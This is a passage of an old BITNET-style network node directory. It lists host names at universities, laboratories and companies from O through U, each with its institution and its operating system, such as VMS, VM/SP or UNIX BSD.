FROCF51 O.P.G.C, Clermont‑Ferrand, FR DEC VMS ORNLSTC Oak Ridge Nat'l Lab VMS

CESARVAX Oak Ridge Natl Lab Ctr Engg Sys Adv Res VMS

OCC Oakland Comm Co VM

OBERLIN Oberlin College VMS

FRONI51 Observatoire ‑ Nice VMS

FROBES51 Observatoire de Besancon, Fran DEC VMS FROBOR51 Observatoire de Boreaux DEC VMS FROMRS51 Observatoire de Marseille, Fr DEC VMS FRMEU51 Observatoire de Paris, Meudon VMS

FRNEAB51 OCDE DEC VMS

OCLCRSUN OCLC UNIX 4.2 BSD

OHSTVMB Ohio State U CAD/CAM VM/SP

OHSTCH Ohio State U Chem Dept VAX VMS

OHSTHR Ohio State U Ctr for Human Resource Res VMS

OHSTMVSA Ohio State U IRCC MVS/SP

OHSTVMA Ohio State U IRCC VM/SP

OHSTPY Ohio State U Physics Dept. VMS

OHSTPHRM Ohio State Univ Coll of Pharm VM/SP

OUACCVMB Ohio Univ Athens VM/SP

OUACCVMA Ohio Univ, Athens VM/SP

OWUCOMCN Ohio Wesleyan Univ VMS

JPNONRI Okazaki Nat'l Res Instit VMS

OSUCC Oklahoma State Univ CC MVS/XA

UCCVMS Oklahoma State Univ CC VMS

ODUVM Old Dominion U VM/SP

UTOPVM OPAL, CERN, Geneva,Switzerland IBM VM/SP HPO 4 2 HHEOUH51 Open Universiteit Heerlen VMS 4 4 HHEOUH54 Open Universiteit Heerlen VMS 4 4 HHEOUH53 Open Universiteit Heerlen VMS 4 4 HHEOUH52 Open Universiteit Heerlen VMS 4 4 DBNUOR1 Operations Research Bonn IBM VM/SP R4 ORSTATE Oregon State UCS NOS 2.5.1‑678 ORSTVM Oregon State Univ. VM

JPNDENTU Osaka Electro‑Comm Univ UNIS 4.2 BSD JPNOIT10 Osaka Inst of Tech VM/SP

JPNOSKFM Osaka U HEPL OS IV/F4 MSP

JPNOSAKA Osaka Univ Ed Ctr VM/SP

FINOU Oulu Univ IBM VM/SP HPO R3 4

FINOUC Oulu University, Finland MICROVMS 4 6 FRPQT51 P.Q.T., Toulouse, France DEC VMS

PACEVM Pace Univ Pleasantville‑Briarcliff Camp VM/SP

PLU Pacific Lutheran Univ VMS

IPDUNIV Padova U Comp Ctr VM/SP RELEASE 5 PANAM2 Pan American Univ VMS

PANAM1 Pan American Univ VMS

PANAM Pan American Univ VMS

PSUVALM Penn S U Comp Sci VLSI Dev UNIX BSD PSUARCH Penn St U Arch Comp Lab VMS

PSUACL Penn St U Arch Computer Lab VMS

PSU2020 Penn St U Engr Comp Lab TOPS‑20 PSUECLC Penn St U Engr Comp Lab VMS

PSUECLA Penn St U Engr Comp Lab VMS

PSUECLB Penn St U Engr Comp Lab VMS

PSUHCX Penn St U Engr Comp Lab UNIX

PSUCEMD Penn St U Engr Comp Lab VMS

PSUMEV Penn St U Mech. Engr. VMS

PSUCHEM Penn State ‑ Chemistry VM/SP

PSUARLB Penn State Applied Res Lab VMS

PSUARLC Penn State Applied Res Lab VMS

PSUARLA Penn State Applied Res Lab VMS

PSULEPSI Penn State Elmnt. Particle Lab VMS

PSULEPSR Penn State Elmnt. Particle Lab VMS

PSULEPSA Penn State Elmnt. Particle Lab VMS

PSULEPSH Penn State Elmnt. Particle Lab VMS

PSUECL2 Penn State Engin. Computer Lab VM/SP

PSUVAXG Penn State U UNIX BSD

PSUVAXS Penn State U UNIX BSD

PSUDG1 Penn State U AOS/VS

PSUPENA Penn State U Agric Ext Net VMS

PSUPENB Penn State U Agric Ext Net VMS

PSUALT Penn State U Altoona VMS

PSUVMXA Penn State U CAC VM/XA SP1 PSUSUN01 Penn State U CAC SUN OS 4.0 PSUED1 Penn State U Coll of Ed VMS

PSUCES1 Penn State U Comm. Ed Sys VMS

PSUCES3 Penn State U Comm. Ed Sys VMS

PSUVM Penn State U Comp Ctr VM/XA

PSUCURT Penn State U CompSci ACIS UNIX 4.3 PSUDEC10 Penn State U Eng Comp Lab TOPS‑10 PSUNUCE Penn State U Eng. Dept. VM/SP

PSUHMC Penn State U Hershey Med Ctr. Res. Cmptng VM/SP

PSUHMED Penn State U Hershey Med Ctr. Res. Cmptng VMS

PSUMVS Penn State University MVS/XA

PSUPDP1 Penn State University UNIX R6 PSUVALP Penn SU Comp Sci VLSI Dev UNIX BSD PSUVAX1 Pennsylvania State U UNIX BSD PEPVAX Pepperdine Univ Acad Comp VAX ULTRIX PEPPCDRM Pepperdine Univ Admin Cmptng IBM MVS MVS/XA

CPWPSCA Pgh Supercomputer Ctr VMS

CPWPSCB Pgh Supercomputer Ctr VMS

DMRHRZ11 Philipps‑Universitaet Marburg IBM VM/SP R4 0 DHDPHY5 Physikalisches Institut VMS

DBNPIB5 Physikalisches Institut der U Bonn DEC VMS 4 6 ITOPOLI Politecnico di Torino VMS

ITOPOLI3 Politecnico di Torino VMS

ITOPOLI4 Politecnico di Torino VMS

ITOPOLI1 Politecnico di Torino VMS

ITOPOLI2 Politecnico di Torino VMS

IMIPOLI Politecnico Milano IBM VM/SP R4 1 POLYTECH Polytechnic U Comp Ctr VM/SP

POLYGRAF Polytechnic U Comp Ctr VM/SP

POMONA Pomona Col Comp Ctr VM/SP

PCMATH Pomona Col Mathematics Dept VMS

PSUORVM Portland State Univ CC VM/SP

PRATT Pratt Institute Comp Ctr PRIMOS

PPLCATS Princeton Univ PLasma Phys. Lab VM/SP

PUCC Princeton University VM/SP

PUFORBES Princeton University VM/SP

PUNFS Princeton University VM/SP

PU1879 Princeton University VM/SP

PUMIS Princeton University VM/SP

DHIAVM PSU Dairy Herd Improv. Assn. VM/SP

PSULIAS PSU Library Info Access Sys HONEYWELL CP‑6 PSUADMIN PSU Mgmt. Srvs MVS/XA

PURCHE Purdue U Chem Engr Dept VM/SP

PURCCVM Purdue U Comp Ctr VM/SP

PURVLSI Purdue U EE VLSI Lab VM/SP

QUCDNEE1 Queen's Electrical Engineering VMS

QUCDNTRI Queen's Electrical Engineering VMS

QUCDNEE Queen's Electrical Engineering VMS

QCVAXA Queens College CUNY VMS

QCVAXB Queens College CUNY VMS

QCVAXC Queens College CUNY VMS

QCUNIX Queens College CUNY ULTRIX

QCVAX Queens College CUNY VMS

QUCDNCMC Queens U Can Microelec Corp VMS

QUCDNAST Queens Univ Astronomy VMS

QUCIS Queens University UNIX

QUCDN Queens University VM/SP

QUCDNSUR Queens University Surgery VMS

AWIRAP01 RA‑Physik VMS 4 5 LAVC

AWIRAP02 RA‑Physik VMS 4 5 LAVC

DACTH51 Rechenzentrum der RWTH Aachen VMS

DKAUNI11 Rechenzentrum U Karlsruhe IBM VM/SP R4 DKAUNI46 Rechenzentrum U Karlsruhe SIEMENS BS3000 MSP 20 DKAUNI48 Rechenzentrum U Karlsruhe SIEMENS BS3000 MSP 20

REED Reed College BERKELEY UNIX

RCN Regents Computer Network NOS

IRTCORK Regional Tech College Cork VM/IS

GREARN Research Ctr of Crete VM/SP

RLG Research Libraries Grp MVS/SP

RHODES Rhodes College CC VMS

DKLUNI01 RHRK Kaiserslautern SIEMENS BS3000 MSP DKLUNI85 RHRK Kaiserslautern, Germany SIEMENS BS2000 DKLUNI86 RHRK Kaiserslautern, Germany SIEMENS BS2000 DBNUZR1A RHRZ Uni Bonn, Germany IBM VM/SP HPO R4.2 RICECSVM Rice U Comp Sci Dept. VM/SP

RICE Rice Univ ICSA VM/SP

ITORIPTO Ricerch e Progetti Torino VM/SP

BGERUG51 Rijks Univ VMS

HLERUL52 Rijksuniver Leiden Gorl Lab VMS 4 1

RITVM RITISC VM/SP HPO

RITVAXA Rochester Inst of Tech VMS

RITVAXB Rochester Inst of Tech VMS

RITVAXC Rochester Inst of Tech VMS

RITVAXD Rochester Inst of Tech VMS

RITVAXN Rochester Inst of Tech VMS

RITVAX Rochester Inst of Tech VMS

RITVAXO Rochester Inst of Tech (NTID) VMS

RITVAXL Rochester Inst of Tech. VMS

ROCKVAX Rockefeller University UNIX BSD ROHVM1 Rohm & Haas Co VM/HPO

RHIT Rose‑Hulman Inst. VMS

RMC Royal Military College CP‑6

RPICMPVM RPI Ctr Mfg Prod VM/SP

RPICICGD RPI Graphics Center VM/SP

RPICICGE RPI Graphics Center VM/SP

RPITSMTS RPI Info Tech Srvs MTS/XA DIST 5.1C RPITSGW RPI Info Tech Srvs UTX

DHVRRZN0 RRZN, Univ Hannover, Germany CDC NOS DHVRRZN1 RRZN, Univ Hannover, Germany IBM VM/SP R4 0 BANRUC01 RUCA, Antwerpen, Belgium NOS 2 5 DBORUB01 Ruhr‑Univ Bochum CDC NOS/VE

NORUNIX RUNIT ULTRIX 2 0

RUTHEP Rutgers U High Energy Physics VMS

DRACO Rutgers Univ CCIS VMS

RUTGERS9 Rutgers Univ CCIS MVS MVS/SP

CANCER Rutgers Univ CCIS VAX VMS

ZODIAC Rutgers Univ CCIS Vax Clust VMS

RUTVM1 Rutgers Univ CCIS VM1 VM/SP

BIOVAX Rutgers Univ Molecular Bio Comp Lab VMS

DACTH01 RWTH Aachen, Germany CDC NOS 2 4

RYERSON Ryerson VM/SP

DWUUNI21 RZ Uni Wuerzburg, Germany IBM MVS 3 8 YUBGSS21 RZS SR Srbije, Yugoslavia IBM MVS/SP 1 3.8 SERVAX S Reg Data Ctr VMS

SER S Reg Data Ctr Tamiami Campus OS 1100

SLUVCA Saint Louis Univ VMS

SALK Salk Instit VMS

SHSUTHOR Sam Houston State Univ VMS

SHSU Sam Houston State Univ VMS

SHSUODIN Sam Houston State Univ VMS

SAMFORD Samford Univ VM/SP

SDSC San Diego Supercomputer Ctr VMS

SCU Santa Clara Univ VMS

HASARA11 SARA Amsterdam, Netherlands VM/SP R4 JPNSUT50 Scienc U Tokyo Y J Coll VM/SP

JPNSUT00 Science U of Tokyo VM/SP

JPNSUT40 Science U of Tokyo VM/SP

JPNSUT31 Science U of Tokyo Noda VMS

JPNSUT10 Science U Tokyo ‑ Japan VM/SP

JPNSUT20 Science U Tokyo ‑ Japan Kagurazaka VM/SP

JPNSUT30 Science U Tokyo ‑ Japan, Noda VM/SP

JPNSUT3A Science U Tokyo ‑ Japan, Noda MUSIC

JPNSUT01 Science Univ of Tokyo VM/SP

JPNICEPP Science Univ of Tokyo ICEPP VM/SP

BMLSCK11 SCKCEN Mol Belgium VM/SP R4 IPISNSVA Scuola Normale Superiore DEC VMS 4 3 IPISNSIB Scuola Normale Superiore VM/SP

SENECA Seneca College VMS

KRSNUCC1 Seoul Nat'l Univ CC VM/HPO

SETONVM Seton Hall U CC VM/SP

SETONMUS Seton Hall Univ CC VM/SP

JPNSNU10 Setsunan Univ VM/SP

JPNSNU20 Setsunan Univ VM/SP

SHERCOL1 Sheridan College VMS

JPNSWU10 Showa Women's Univ VM/SP

IMISIAM3 SIAM IFC, Milano, Italy IBM VM/SP HPO 4 0 IMISIAM2 SIAM IFC, Milano, Italy IBM VM/SP HPO 4 0 SFU Simon Fraser U Comp Svcs MTS

SFUVM Simon Fraser U Comp Svcs VM/SP

ITSSISSA SISSA, Trieste, Italy UNIX UTX SKIDMORE Skidmore College VMS

SLACASP SLAC ASP Experiment VMS

SLACVM SLAC Computer Center VM/SP

SLACESA SLAC End Station A VMS

SLACHRS SLAC High Res Spectrometer VMS

SLACMAC SLAC Magnetic Calorimeter VMS

SLACMKII SLAC Mark‑II Detector VMS

SLACM2 SLAC Mark‑II Detector VMS

SLACMK3 SLAC Mark‑III Detector Exp VMS

SLACPCR SLAC PCR VMS

SLACSLC SLAC SLC VMS

SLACSLD SLAC SLD Detector VMS

SLACTBF SLAC TBF VMS

SLACTWGM SLAC TCP/Two‑Gamma Experiment VMS

SLACUCSD SLAC TCP/2‑Gamma Expt (UCSD) VMS

SLACTPCS SLAC TPC/Two‑Gamma Experiment VMS

SLACPHYS SLAC TPC/Two‑Gamma Experiment VMS

SMITH Smith College VMS

SIVM Smithsonian Instit VM/SP

TWNSCU10 Soochow Univ VM/SP

SDSUVM South Dakota State Univ VM/HPO SP SEMASSU Southeastern Mass Univ VMS

SIUCVMB Southern Illinois U ‑ Carbondale VM/SP

SIUEVM Southern Illinois Univ Edwardsvl VM/SP

SMUVM1 Southern Methodist U ACC VM/SP

SMSVMA Southwest Missouri State Univ VM/SP

SMSVMB Southwest Missouri State Univ VM/SP

SMSVAXA Southwest Missouri State Univ VMS

SWTEXAS Southwest Texas State Univ VMS

SWTNYSSA Southwest Texas State Univ VMS

SWTTEGAN Southwest Texas State Univ VMS

STSCI Space Telescope Science Instit VMS

SLCSL St. Lawrence College VM/CMS

STLAWU St. Lawrence Univ VM/SP

STMARYS St. Mary's U VMS

STMARYTX St. Mary's Univ of San Antonio VMS

SMCVAX St. Michael's Coll VMS

SPCVXA St. Peter's Co VMS

SESTAK Stacken, KTH Sweden TOPS‑10/7 SSRL750 Stanford Synchrotron Rad Lab VMS

STANFORD Stanford University MVS/XA

SUSOLAR Stanford University UNIX

SUWATSON Stanford University VM/SP HPO 4.2 OBERON Stanford University VM/SP HPO 5.0 MSUS1 State Univ System of Minnesota VMS

SFAUSTIN Stephen F. Austin State Univ CP‑6

SITVXB Stevens Inst Tech VMS

SITVXC Stevens Inst Tech VMS

HASARA5 Stichting Academ Reken Amsterdam VMS 4

SEQZ11 Stockholm U Comp Ctr IBM VM/SP R4 SEQZ21 Stockholm U Comp Ctr IBM MVS/SP 1 3.1 SEQZ51 Stockholm U Comp Ctr DEC VMS SESUF51 Stockholm Univ DEC VMS

QZCOM Stockholm Univ CC TOPS‑10/7 SEQZ01 Stockholm Univ CC CDC NOS 2 4.1 LEVEL 642 SEQZ02 Stockholm Univ CC CDC NOS 2 4.1 LEVEL 642 QZKOM Stockholm Univ CC TOPS‑10/7 DBNISKP5 Strahlen‑Kernphysik Uni Bonn DEC VMS 4 4

SEGATE SUNET UNIX BSD4 3

FRSUN12 SUNIST, IBM VM/SP

ALBNY1VX SUNY Albany CC VAX VMS VMS

UBVMSC SUNY Bflo CC VMS

UBVMSD SUNY Bflo CC VMS

BINGVAXA SUNY Binghamton VMS

BINGVAXB SUNY Binghamton VMS

BINGVAXC SUNY Binghamton VMS

BINGVMA SUNY Binghamton VM/SP

BINGVMB SUNY Binghamton VM/SP

SUNYBING SUNY Binghamton VM/SP

BINGTJW SUNY Binghamton Sch of Engr VM/SP

SUNYBCS SUNY Buffalo Comp Sci Dept UNIX BSD SNYCENVM SUNY Central Admin CC VM/SP

SNYDELBA SUNY Coll of Technol at Delhi MCP

SNYBROBA SUNY College at Brockport MCP

BROCK1P SUNY College at Brockport ‑ ACS PRIMOS SNYBUFBA SUNY College at Buffalo MCP 3.6.2 SNYBUFVA SUNY College at Buffalo VMS

SNYCANBA SUNY College at Canton MCP

SNYCOBBA SUNY College at Cobleskill MCP

SNYCORBA SUNY College at Cortland MCP

SNYFREBA SUNY College at Fredonia MCP

SNYGENBA SUNY College at Geneseo MCP

GENESEO SUNY College at Geneseo VMS

SNYNEWBA SUNY College at New Paltz MCP

SNYOLDBA SUNY College at Old Westbury MCP

SNYONEBA SUNY College at Oneonta MCP

SNYOSWBA SUNY College at Oswego MCP

SNYPLABA SUNY College at Plattsburgh MCP

SNYPLADG SUNY College at Plattsburgh AOS/VS SNYPOTBA SUNY College at Potsdam MCP

SNYFARBA SUNY College Farmingdale MCP

SNYMORBA SUNY College Morrisville MCP

ADMBROOK SUNY Health Science Ctr Brooklyn VM/SP

SACBROOK SUNY Health Science Ctr Brooklyn VM/SP

SNYBKADM SUNY Health Science Ctr Brooklyn VM/SP

SNYBKSAC SUNY Health Science Ctr Brooklyn VM/SP

SNYALFBA SUNY of NY College of Tech at Alfred MCP

SBBIOVM SUNY Stony Brook Biol Sci Comp VM/SP

SBCCVM SUNY Stony Brook Comp Ctr VM/HPO SBCCMAIL SUNY Stony Brook Comp Ctr Mail VMS

SUNYSBNP SUNY Stony Brook Physics Dept VMS

UBVMSA SUNY/Bflo CC VMS

UBVM SUNY/Bflo CC VM/SP

UBVMSB SUNY/Bflo CC VMS

UBVMS SUNY/Bflo CC VMS

ALBNYMVS SUNYA EETR MVS MVS/JES2 ALBNYVM1 SUNYA EETR VM VM/HPO HUTSUR51 SURFnet, Netherlands VMS 4 6 SWATPRM Swarthmore College VMS

SEARN Sweden EARN IBM VM/SP R4

SUNSET Syracuse U VMS

SUNRISE Syracuse U VMS

SUAIS Syracuse U AIS MVS

SUCAD1 Syracuse U CAD/CAM VMS

SUHEP Syracuse U High Energy Phys VMS

SUZEUS Syracuse Univ Comp. Sys. VM/SP HPO

SUVM Syracuse University VM/HPO

SUMVS Syracuse University MVS

JPNTAMA0 Tamagawa Univ VM/SP

FINTUTA Tampere U Tech DEC VMS 4 2 FINTUT Tampere University of Techn UNIX 4 3 BSD

TAMODP TAMU ODP VMS

TAMAGEN TAMU/AG Eng VMS

TAMMVS1 TAMU/CSC MVS/SP

TAMVM1 TAMU/CSC VM/SP/HPO

TAMENTO TAMU/ENTO VMS

TAMGEOP TAMU/GEOP VMS

TARLETON Tarleton State Univ ‑ DPC NOS

HDETUD2 Tech Hoogeschool Delft MVS/SP 1 3.4 HDETUD5 Tech Hoogeschool Delft VMS 4 4 DB0TUI6 Tech U Berlin Infor KBS UNIX 4 2 BSD DBSINF6 Tech U Braunschweig Info ULTRIX DM0TUI1S Tech U Informatik, Muenchen IBM VM/SP R5 06 DDADVS1 Techn Darmstadt Fachber Inform IBM VM/SP R3 TUNS Technical Univ of Nova Scotia VMS

TECHCDC Technion ‑ CDC NOS 2.4.3 TECHMVS Technion ‑ Haifa MVS/SP TECHNION Technion ‑ Haifa IBM VM/SP HPO 4 2 TECHSEL Technion Dept Math ‑ Haifa UNIX

TECHUNIX Technion Dept of Math UNIX BSD 4 3 TECHDPD Technion, Haifa MVS/JES2 HENTHT5 Technische Hogeschool Twente VMS 4 2 DB0TUI11 Technische U Berlin IBM VM/SP DB0TUM11 Technische U Berlin Maschinen IBM VM/SP DB0TUZ01 Technische U Berlin Rechenzentrum NOS

DB0TUS11 Technische U Berlin Schiffs IBM VM/SP ICSATAXA Tecnopolis CSATA Novus Ortus IBM MVS/XA TAUNIVM Tel Aviv U Comp Ctr IBM VM/SP HPO R4 2 TAUNOS Tel Aviv U Comp Ctr CDC NOS 2 5.3 TAURUS Tel Aviv U Comp Ctr UNIX BSD 4 2 TAUENG Tel Aviv U Eng Sch DEC VMS 4 2 TAUPHY Tel Aviv Univ Nuc Phys DEC VMS 3 7 TAUVE Tel Aviv University CDC NOS/VE 1 2.3 TEMPLEVM Temple U Comp Activity VM/SP

TMPLSUPR Temple U Computer Activity VM/SP

TMPLCIS Temple U Computer Activity VMS

TMPLNOS Temple University Computer Activity NOS

TNTECH Tennessee Tech Univ VMS

TAMCGF Texas A&M Engineering Graphics VMS

TAMCBA Texas A&M U Acad Comp Ctr VM/SP

TAMBIGRF Texas A&M U Biochem VMS

TAMCHEM Texas A&M U Chemistry Dept VMS

TAMSTAR Texas A&M U Comp Srvs Ctr VMS

TAMVENUS Texas A&M U Comp Srvs Ctr VMS

TAMUNIX Texas A&M U Computing SC UNIX

TAMLSR Texas A&M U CS/LSR VMS

TAMTCSL Texas A&M U EE‑TCSL VMS

TAMVXEE Texas A&M U Electrical Engr VMS

TAMNIL Texas A&M U Learning Tech Ctr VMS

TAMMEACA Texas A&M U ME/CAD VMS

TAMVXRSC Texas A&M U MML VMS

TAMVXOCN Texas A&M U Oceanography Dept VMS

TAMPHYS Texas A&M U Physics Dept VMS

TAMCOMP Texas A&M Univ Cyclotron Inst VMS

TAMSIGMA Texas A&M Univ ECS VMS

TAMLMSB Texas A&M Univ LMSB VMS

TAMTURBO Texas A&M Univ TURBO VMS

TCUAVM Texas Christian Univ VM/SP

TCUAMUS Texas Christian Univ MUSIC/SP TCUAVMS Texas Christian Univ VMS

TCUBVM Texas Christian Univ VM/SP

TTACS1 Texas Tech U Acad Comp Srvs VMS

TTACS2 Texas Tech U Acad Comp Srvs VMS

TTUVM1 Texas Tech U Comp Facil VM/SP

TTUHSCVM Texas Tech U Health Sci Ctr VM/HPO DTUPEV5A Th Astrophysik Univ Tuebingen DEC VMS 4 3 HDETUD1 TH Delft, Netherlands VM/SP

JPNTOHOK Tohoku Univ VM/SP

JPNTHKVX Tohoku Univ VMS

JPNTIU01 Tokyo Intern'tl Univ VM/SP

JPNTKUVM Tokyo Keizai U VM/SP

TOWSONVX Towson State Univ VMS

TOWSON1 Towson State Univ VMS

TOWSON2 Towson State Univ VMS

TRANSY Transylvania Univ MUSIC/SP

TRENT Trent University VMS

TSCVM Trenton State Co VM/SP

TUCC Triangle U Comp Ctr MVS/SP

TUCCVM Triangle U Comp Ctr VM/SP

TUNL Triangle Univ. Nuclear Lab VMS

TRINCC Trinity College VMS

TRINCC2 Trinity College VMS

TRINITY Trinity Univ Computing Ctr VM/SP

TRIUMFCL TRIUMF Research VMS 4 5 TRIUMFRG TRIUMF Research VMS 4 5 TRIUMFER TRIUMF Research ‑ ERICH VMS 4 5

DB0TUI0 TU Berlin XEXOX

DB0PTZ1A TU Berlin VM/SP

DB0TUI62 TU Berlin Informatik SWT UNIX 4 3 BSD DBSTU1 TU Braunschweig, RZ, Germany IBM VM/SP R4 SSI DBSNRV0 TU Braynscgweug, NRV‑Gateway XOS

DCZTU1 TU Clausthal VM/SP

HDETUD53 TU Delft VMS 4 5

HDETUD52 TU Delft VMS 4 4

HDETUD51 TU Delft VMS V4 4

HEITHE5 TU Eindhoven CC, Netherlands VMS 4 5 HEITUE51 TU Eindhoven CC, Netherlands VMS 4 5 HEITUE1 TU Eindhoven CC, Netherlands VM/SP

HEIIPO5 TU Eindhoven IPO, Netherlands VMS 4 5 DGATUM5P TU Muenchen Physik VMS

DB0TUI66 TUB Informatik ISTI UNIX 4 2 BSD

TUFTS Tufts U VMS

TULIPS Tufts Univ VMS

TCSVM Tulane U Comp Svcs ‑ VM VM/SP

TCSMUSA Tulane U Comp Svcs Music A MUSIC

TCSMVS Tulane U Comp Svcs MVS MVS/SP

AKRON U Akron MVS/XA 2 1.7

AKRONVM U Akron VM/SP HPO 5

AKRONVAX U Akron ULTRIX

UABCMC U Alabama B'ham ‑ CMC VMS

UABTUCC U Alabama Birmingham MVS/SP

UABCVSR U Alabama Birmingham VM/IS

UA1VM U Alabama Comp Ctr VM/SP HPO UALTAMTS U Alberta Comp Svcs MTS MTS

UALTAVM U Alberta Comp Svcs VM VM/SP

EMDUAM11 U Autonoma Madrid Ctr Calc VM/SP

EB0UB012 U Barcelona Ctr Calculo VM/SP

DBNVB12 U Bonn Chemische Inst IBM VM/SP R3 1 DBNUAMA1 U Bonn Inst Mathematik IBM VM/SP R4 DBNRHRZ1 U Bonn Reg Hochschul IBM VM/SP R5 DBNRHRZ2 U Bonn Reg Hochschulrechenzent MVS/SP

UCIPPRO U CA Irvine, Publ Policy Rsrch VM/SP

UCSFBCL U CA San Fran Biochem Lab

UCSFC255 U CA San Fran Clin Lab

UCSFCCB U CA San Fran Comp Ctr

UCSFCGL U CA San Fran Comp Grap Lab

UCSFVIVO U CA San Fran Infect Lab

UCSFMIS U CA San Fran Med Info Sci

UCSFNMR U CA San Fran Nuc Mag Reson Lab

UNCAACTC U Calgary A C.T. Centre MULTICS UCDASVM1 U Calgary Dept Admin Servs VM/SP

UCBEAR U Calif Berkeley UNIX BSD UCBDOROT U Calif Berkeley UNIX BSD UCBERNIE U Calif Berkeley UNIX BSD UCBEROS U Calif Berkeley UNIX BSD UCBBACH U Calif Berkeley UNIX BSD UCBAMBER U Calif Berkeley UNIX BSD UCBARPA U Calif Berkeley UNIX BSD UCBDEAN U Calif Berkeley UNIX BSD UCBDEGAS U Calif Berkeley UNIX BSD UCBBERYL U Calif Berkeley UNIX BSD UCBBIZET U Calif Berkeley UNIX BSD UCBBRAHM U Calif Berkeley UNIX BSD UCBBUDDY U Calif Berkeley UNIX BSD UCBCAD U Calif Berkeley UNIX BSD UCBCALDE U Calif Berkeley UNIX BSD UCBCARTA U Calif Berkeley UNIX BSD UCBCEVAX U Calif Berkeley UNIX BSD UCBCORAL U Calif Berkeley UNIX BSD UCBCMSA U Calif Berkeley VM/SP HPO UCBCOGSC U Calif Berkeley UNIX BSD UCBCORY U Calif Berkeley UNIX BSD UCBDALI U Calif Berkeley UNIX BSD UCBEAST U Calif Berkeley UNIX BSD UCBESVAX U Calif Berkeley UNIX BSD UCBDAVIN U Calif Berkeley UNIX BSD UCBEULER U Calif Berkeley UNIX BSD UCBFRANN U Calif Berkeley UNIX BSD UCBGARNE U Calif Berkeley UNIX BSD UCBHOLDE U Calif Berkeley UNIX BSD

UCBIC U Calif Berkeley UNIX BSD UCBICW U Calif Berkeley UNIX BSD UCBINGRE U Calif Berkeley UNIX BSD UCBJASON U Calif Berkeley UNIX BSD UCBJASPE U Calif Berkeley UNIX BSD

UCBJI U Calif Berkeley UNIX BSD UCBKEPLE U Calif Berkeley UNIX BSD UCBKIM U Calif Berkeley UNIX BSD UCBLAPIS U Calif Berkeley UNIX BSD UCBLILAC U Calif Berkeley UNIX BSD UCBMATIS U Calif Berkeley UNIX BSD UCBMAXWE U Calif Berkeley UNIX BSD UCBMEDEA U Calif Berkeley UNIX BSD UCBMERLI U Calif Berkeley UNIX BSD UCBMIRO U Calif Berkeley UNIX BSD UCBMONET U Calif Berkeley UNIX BSD UCBNEWTO U Calif Berkeley UNIX BSD UCBOKEEF U Calif Berkeley UNIX BSD

UCBOZ U Calif Berkeley UNIX BSD UCBPEARL U Calif Berkeley UNIX BSD UCBQAL U Calif Berkeley MV 8000 AOS UCBRENOI U Calif Berkeley UNIX BSD UCBROSE U Calif Berkeley UNIX BSD UCBSEYMO U Calif Berkeley UNIX BSD UCBSHADO U Calif Berkeley UNIX BSD UCBSIM U Calif Berkeley UNIX BSD UCBSRC U Calif Berkeley UNIX BSD UCBSYLVI U Calif Berkeley UNIX BSD UCBTOPAZ U Calif Berkeley UNIX BSD UCBTULIP U Calif Berkeley UNIX BSD UCBUGS U Calif Berkeley UNIX BSD UCBUNIXS U Calif Berkeley UNIX BSD UCBVANGO U Calif Berkeley UNIX BSD UCBVAX U Calif Berkeley UNIX BSD UCBVIOLE U Calif Berkeley UNIX BSD UCBWEYL U Calif Berkeley UNIX BSD UCBZOOEY U Calif Berkeley UNIX BSD UCBCED U Calif Berkeley SUN UNIX UCBSOE U Calif Berkeley SUN UNIX UCBSSL U Calif Berkeley UNIX

UCBBKYAS U Calif Berkeley VMS

UCBCCHEM U Calif Berkeley ULTRIX

UCBJADE U Calif Berkeley Campus UNIX BSD UCBJANUS U Calif Berkeley Campus ULTIX

UCIVMSA U Calif Irvine Comp Ctr VMS

UCIVMSC U Calif Irvine Comp Ctr VMS

UCLATMOS U Calif LA UCLA Atmos Science VM/SP

UCLAVM U Calif Los Angeles Acad Comp VM/SP

UCLAMVS U Calif Los Angeles Acad Comp MVS/SP

UCLAVMB U Calif Los Angeles Acad Comp VM/XA SF UCLASSCF U Calif Los Angeles Soc Sci Facil VM/SP

UCRVMS U Calif Riverside Acad Comp Ctr VMS

UCRPHYS U Calif Riverside Phys Dept VMS

UCSFCCA U Calif San Fran Comp Ctr UNIX BSD UCSFHC U Calif San Fran Hosp & Clinics VM/SP

UCSFVM U Calif San Francisco VM/SP

SBHEP U Calif Santa Barbara VMS

UCSBVM U Calif Santa Barbara Comp Ctr VM/SP

UCSBUXA U Calif Santa Barbara Comp Ctr BSD UNIX UCSBUXB U Calif Santa Barbara Comp Ctr BSD UNIX UCSCMVS U Calif Santa Cruz CATS IBM (MVS) MVS/XA

UCSCHU U Calif Santa Cruz H&A UNIX BSD UCSCLICK U Calif Santa Cruz Lick Obs UNIX

UCSCA U Calif Santa Cruz Unix A UNIX BSD

UCSCC U Calif Santa Cruz Unix C UNIX BSD

UCSCD U Calif Santa Cruz Unix D UNIX BSD

UCSCE U Calif Santa Cruz Unix E UNIX BSD

UCSCF U Calif Santa Cruz Unix F UNIX BSD

UCSCG U Calif Santa Cruz Unix G UNIX BSD

UCSCH U Calif Santa Cruz Unix H UNIX BSD

UCSCI U Calif Santa Cruz Unix I UNIX BSD

UCSCJ U Calif Santa Cruz Unix J UNIX BSD

UCSCK U Calif Santa Cruz Unix K UNIX BSD

UCSCL U Calif Santa Cruz Unix L UNIX BSD

UCSCM U Calif Santa Cruz Unix M UNIX BSD UCSCVM U Calif Santa Cruz VM VM/SP

PORTAL U Calif Santa Cruz VM VMS

UCSCO U Calif Santa Cruz VM SUN OS

UCCVMA U Calif System‑wide Admin VM/HPO

UCICP6 U California Comptng Fac CP6

BUCLLN11 U Cath Louvain VM/SP HPO R4 2 UCF1VM U Central Florida VM/SP

UCFCS U Central Florida Comp Sci Dept UNIX BSD UCHIMVS1 U Chicago Computation Ctr MVS/SP UCHISTEM U Chicago Crewe Laboratory VM/SP

UCCCMVS U Cincinnati MVS/SP

UCCCVM1 U Cincinnati VM/SP

IRUCCIBM U College Cork VM/SP

IRLEARN U College Dublin VM/HPO RELEASE 4 2 COLORADO U Colorado Boulder Comp Svcs VMS

COLOPHYS U Colorado Boulder Physics VMS

UCONNMVS U Connecticut MVS

UCONNVM U Connecticut VM/SP HPO DKUCCC11 U Copenhagen Comp Ctr IBM VM/SP R5 BMSUEM11 U de l'Etat Belgium VM/SP R5

BLIULG11 U de Liege VM/SP HPO R4 2

BLIULG12 U de Liege VM/SP R4

BLIULG13 U de Liege Belgium VM/SP R5

PTEARN U de Lisboa IBM VM/SP

IPGUNIV U degli Studi di Perugia IBM VM/SP R3 UDCVM U Dist Columbia Comp Ctr VM/SP

UDCVAX U Dist Columbia VAX VMS

DDOINF6 U Dortmund CC Dept UNIX 4 2 BSD

DERRZE1 U Erlangen IBM VM/SP R3

UFGATE U Florida CIRCA VMS

